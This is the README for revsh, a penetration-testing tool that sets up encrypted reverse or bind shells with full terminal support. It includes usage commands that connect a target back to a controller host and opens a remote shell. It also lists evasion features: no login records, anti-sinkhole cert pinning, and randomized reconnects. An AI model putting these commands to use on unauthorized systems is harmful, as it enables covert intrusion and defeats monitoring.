revsh is a tool for establishing a reverse shell with terminal support.

What is a "reverse shell"?

A reverse shell is a network connection that grants shell access to a remote host. As opposed to other remote login tools such as telnet and ssh, a reverse shell is initiated by the remote host. This technique of connecting outbound from the remote network allows for circumvention of firewalls that are configured to block inbound connections only.

What is a "bind shell"?

A bind shell is a shell that is served from a normal forward network connection. revsh supports both reverse and bind shells. To invoke a bind shell you can either invoke the -b flag on both ends of the connection, or invoke the binary as 'bindsh'.

Can't I just use netcat?

There are many techniques for establishing a reverse shell, but these methods don't provide terminal support. revsh allows for a reverse shell whose connection is mediated by a pseudo-terminal, and thus allows for features such as:

• job control
• control character processing (e.g Ctrl-C)
• auto-completion
• support for programs requiring a controlling tty (e.g. sudo)
• processing of window re-size events

In addition, revsh also offers the following features:

• UTF-8 support.
• Circumvents utmp / wtmp. (No login recorded.)
• Processes rc file commands upon login for easy scripting.
• OpenSSL encryption with key based authentication baked into the binary.
• Anonymous Diffie-Hellman encryption upon request.
• Ephemeral Diffie-Hellman encryption as default. (Now with more Perfect Forward Secrecy!)
• Cert pinning for protection against sinkholes and mitm counter-intrusion.
• Connection timeout for remote process self-termination.
• Randomized retry timers for non-predictable auto-reconnection.

revsh is intended as a supplementary tool for a pentester's toolkit that provides the full set of terminal features across an encrypted tunnel. All together in a small (~50k) easy to use binary.

Where can I use revsh?

revsh was developed on x86_64 Linux. Here is a brief list of Arch / OS combinations that it has been used on:

• x86_64 Linux
• i686 Linux

(If you have successfully used revsh on another platform, drop me a line and I'll add it to the list.)

empty@monkey:~$ revsh -h

usage: revsh [-c [-a] [-s SHELL] [-d KEYS_DIR] [-f RC_FILE]] [-b [-k]] [-t SEC] [-r SEC1[,SEC2]] [ADDRESS:PORT]

-c            Run in controller mode.                        (Default is target mode.)
-a            Enable Anonymous Diffie-Hellman mode.          (Default is "!ADH:DHE-RSA-AES256-SHA".)
-s SHELL      Invoke SHELL as the remote shell.              (Default is "/bin/bash".)
-d KEYS_DIR   Reference the keys in an alternate directory.  (Default is ".revsh/keys/".)
-f RC_FILE    Reference an alternate rc file.                (Default is ".revsh/rc".)
-t SEC        Set the connection timeout to SEC seconds.     (Default is "3600".)
-r SEC1,SEC2  Set the retry time to be SEC1 seconds, or      (Default is "600,1200".)
              to be random in the range from SEC1 to SEC2.
-b            Start in bind shell mode.                      (Default is reverse shell mode.)
-k            Start the bind shell in keep-alive mode.       (Ignored in reverse shell mode.)
-h            Print this help.
ADDRESS:PORT  The address and port of the listening socket.  (Default is "127.0.0.1:9999".)

Notes:
  * The -b flag must be invoked on both the control and target hosts to enable bind shell mode.
  * Bind shell mode can also be enabled by invoking the binary as 'bindsh' instead of 'revsh'.

Example:
  local controller host:  revsh -c 192.168.0.42:443
  remote target host:     revsh 192.168.0.42:443

First, setup the local host to be the control host:

empty@monkey:~$ revsh -c 192.168.0.42:9999

Then connect out from the remote target host:

target@kitty:~$ ./revsh 192.168.0.42:9999

We will now find a shell waiting for us back at the control host:

Listening on 192.168.0.42:9999...  Connected!
 Remote fingerprint expected: 09a348e737b96961d7ff9d55f958e771828f839e
 Remote fingerprint received: 09a348e737b96961d7ff9d55f958e771828f839e
Initializing... Done!

################################
# hostname: kitty
# ip address: 192.168.0.123
# real user: target
# effective user: target
################################
target@kitty:/$ ls -l /etc/passwd
-rw-r--r-- 1 root root 1538 Jul 18 22:50 /etc/passwd
target@kitty:/$

Note, if you configured the binary at build time to change the IP:PORT address to 192.168.0.42:9999, then the above example becomes even cleaner.

Local control host:

empty@monkey:~$ revsh -c

Remote target host:

target@kitty:~$ ./revsh

git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h        # Set up new defaults that fit your situation.
make               # This *can* take a very long time, though it usually doesn't.
make install
cd ~/.revsh
vi rc              # Add your favorite startup commands to really customize the feel of your remote shell.
./revsh -h

I write and release these tools with the intention of educating the larger IT community and empowering legitimate pentesters. If I can write these tools in my spare time, then rest assured that the dedicated malicious actors have already developed versions of their own.